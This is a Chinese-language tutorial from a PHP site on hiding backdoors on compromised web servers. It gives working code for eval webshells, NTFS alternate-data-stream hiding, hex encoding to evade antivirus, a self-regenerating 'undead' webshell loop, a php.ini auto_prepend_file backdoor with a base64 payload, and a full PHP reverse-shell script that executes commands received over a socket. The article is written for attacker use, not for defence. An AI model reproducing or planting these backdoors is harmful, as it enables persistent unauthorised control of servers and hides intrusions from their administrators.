• 技术文章 >后端开发 >PHP问题

    php如何隐藏后门

    藏色散人藏色散人2020-07-25 09:38:44原创1720

    php隐藏后门的方法:1、创建系统隐藏文件;2、利用ADS隐藏文件;3、在php环境变量中留shell;4、设置不死马;5、设置“php.ini”后门;6、将关键字拆分,并进行多文件包含;7、将真正的一句话写入数据库。

    推荐:《PHP教程

    php 后门隐藏技巧

    1. attrib +s +h

    创建系统隐藏文件:

    attrib +s +a +r +h

    attrib +s +h 文件名

    企业微信截图_15956407968073.png

    在 Windows 10下即使开启了显示隐藏的项目,或dir仍然看不见。

    2. 利用 ADS 隐藏文件

    NTFS交换数据流(Alternate Data Streams,简称 ADS)是 NTFS 磁盘格式的一个特性,在 NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用ADS 数据流,我们可以做很多有趣的事情。(抄的)

    首先创建 ADS 隐藏文件

    在命令行,echo 一个数据流进去,比如 index 文件是正常文件。

    echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg

    这样就生成了一个不可见的 index.php:shell.jpg

    企业微信截图_15956408024716.png

    使用dir /r查看

    企业微信截图_15956408074958.png

    可使用命令直接修改,要删除的话 直接删除 index.php就ok了

    第二步,直接使用正常文件包含。

    企业微信截图_15956408133453.png

    做一些免杀

    把 index.php:shell.jpg hex 编码

    <?php
    $a="696E6465782E7068703A7368656C6C2E6A7067";
    // index.php:shell.jpg hex编码
    $b="a";
    include(PACK('H*',$$b))
    ?>

    3.php环境变量留shell

    在c盘创建这个目录

    企业微信截图_15956408181830.png

    丢个图片一句话

    企业微信截图_15956408241799.png

    然后文件包含,就好。为了隐蔽可以包含图片马,txt等。

    企业微信截图_15956408292275.png

    4.不死马

    运行后,会删除自身,生成一个 webshell.php,管理员删除后还会生成。

    <?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while(1){
    file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
    sleep(5);
      }

    解决覆盖重写或者重启 web 服务删掉即可。

    <?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while(1){
    file_put_contents('webshell.php','clear');
    sleep(1);
      }

    五. php.ini后门

    将下面后门写入php.ini

    allow_url_include=On
    auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"
    // base64 <?php @eval($_REQUEST[cmd]);?>
    // 后门类型可自己修改。

    这些做好后,重启 web 服务就好了。

    方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。

    方法2.就是加载一个 php_socke.php 脚本,让他重新加载 php.ini

    此后门,任何php都可菜刀连接

    <?php
    /******************************/
    /*     只适用于windows系统     */
    /******************************/
    while(true){//别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...
    @set_time_limit(0);
    $system=strtoupper(substr(PHP_OS,0,3));
    if(!extension_loaded('sockets'))
          {
    if($system=='WIN'){@dl('php_sockets.dll')ordie("Can't load socket");}
          }
    $host='255.255.255.255';//   搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~
    $port=1998;//别问我为什么是1998,问了我也不会告诉你....
    if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');}
    $descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);
    $host=gethostbyname($host);
    $proto=getprotobyname("tcp");
    if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}
    if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}
    else{
    $message="PHP反弹连接\n";
    @socket_write($sock,$message,strlen($message));
    $cwd=str_replace('\\','/',dirname(__FILE__));
    while($cmd=@socket_read($sock,65535,$proto))
                  {
    if(trim(strtolower($cmd))=="exit"){
    socket_write($sock,"Bye\n");exit;
    }else{
    $process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
    if(is_resource($process)){
    fwrite($pipes[0],$cmd);
    fclose($pipes[0]);
    $msg=stream_get_contents($pipes[1]);
    socket_write($sock,$msg,strlen($msg));
    fclose($pipes[1]);
    $msg=stream_get_contents($pipes[2]);
    socket_write($sock,$msg,strlen($msg));
    $return_value=proc_close($process);
                                  }
                          }
                  }
          }
    }
    ?>
    //此脚本非百分百成功

    6. 关键字拆分,多文件包含!

    比如一句话:@eval($_POST['x']);我们可以写成$a=$_POST['x'];@eval($a);

    我们可以将 $a=$_POST['x'];写入一个文件 POST.php

    然后在 @eval($a); 一句话的上方使用 include "POST.php";的方式引用!

    企业微信截图_15956408365039.png

    7.将真正的一句话写入数据库

    当我们发现源码有个地方执行了数据库操作,那我们就可以改源码和数据库啦~

    比如,修改成 eval(查出的数据);

    企业微信截图_15956408412630.png

    8.以下是linux的

    无意中发现的。具体看代码。

    <?php
    $webpath = dirname(__FILE__)."/";
    file_put_contents($webpath ."guige.jpg".chr(9).".php","保存的内容(比如写
    个一句话)");
    ?>

    生成一个文件。

    在目录下看到是显示 名字为 guige.jpg

    但是 web 浏览 却发现 没有找到 guige.jpg 后来发现 需要添 guige.jpg%09.php 这样

    的话就导致我们可以对后门隐藏了。。管理员看到的是.jpg 我们却可以 web 用.php 解析来

    连接。。。有用的到的可以看看。

    以上就是php如何隐藏后门的详细内容,更多请关注php中文网其它相关文章!

    声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。
    专题推荐:php
    上一篇:linux php 验证码不显示怎么办 下一篇:自己动手写 PHP MVC 框架(40节精讲/巨细/新人进阶必看)

    相关文章推荐

    • 后门木马的10篇内容推荐• PHP后门的一些用法• php如何防止后门• php如何将后门隐藏?
    1/1

    PHP中文网